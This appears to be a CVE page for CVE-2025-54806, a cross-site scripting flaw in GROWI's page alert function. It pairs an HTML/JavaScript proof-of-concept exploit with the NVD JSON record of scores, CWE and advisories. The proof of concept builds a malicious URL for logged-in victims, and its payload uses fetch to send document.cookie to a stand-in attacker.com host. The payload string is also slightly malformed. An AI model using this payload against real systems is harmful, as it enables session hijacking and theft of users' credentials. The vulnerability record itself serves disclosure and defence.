CVE-2025-54806

<!-- CVE-2025-54806 PoC - XSS in GROWI Page Alert Function --> <!-- This PoC demonstrates the XSS vulnerability in GROWI's page alert function --> <!-- Target: GROWI versions <= v4.2.7 --> <!-- Malicious URL to trigger XSS --> <!-- Replace [GROWI_HOST] with the target GROWI instance URL --> <script> // Malicious JavaScript payload const maliciousPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">" />'; // Construct the malicious URL targeting the page alert function const growiHost = '[GROWI_HOST]'; const maliciousUrl = `${growiHost}/_api/v3/pages/alert?alertHtml=${encodeURIComponent(maliciousPayload)}`; // In real attack scenario, this URL would be sent to logged-in users console.log('Malicious URL:', maliciousUrl); // Simulate the attack by injecting the payload // This would be executed when the user visits the crafted URL document.addEventListener('DOMContentLoaded', function() { // Example of how the payload executes console.log('XSS Payload would execute:', maliciousPayload); // Potential impact: Cookie theft, session hijacking, data exfiltration }); </script> <!-- Example attack URL format --> <!-- https://target-growi.com/_api/v3/pages/alert?alertHtml=<img src=x onerror=alert(document.cookie)> -->

{"cve": {"id": "CVE-2025-54806", "sourceIdentifier": "[email protected]", "published": "2025-10-23T05:15:32.403", "lastModified": "2025-11-12T17:26:58.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GROWI v4.2.7 and earlier contains a cross-site scripting vulnerability in the page alert function. If a user accesses a crafted URL while logged in to the affected product, an arbitrary script may be executed on the user's web browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weseek:growi:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.8", "matchCriteriaId": "F940AB89-6D35-4CD6-95E7-BF4243D63D84"}]}]}], "references": [{"url": "https://growi.co.jp/news/38/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://jvn.jp/en/jp/JVN46526244/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}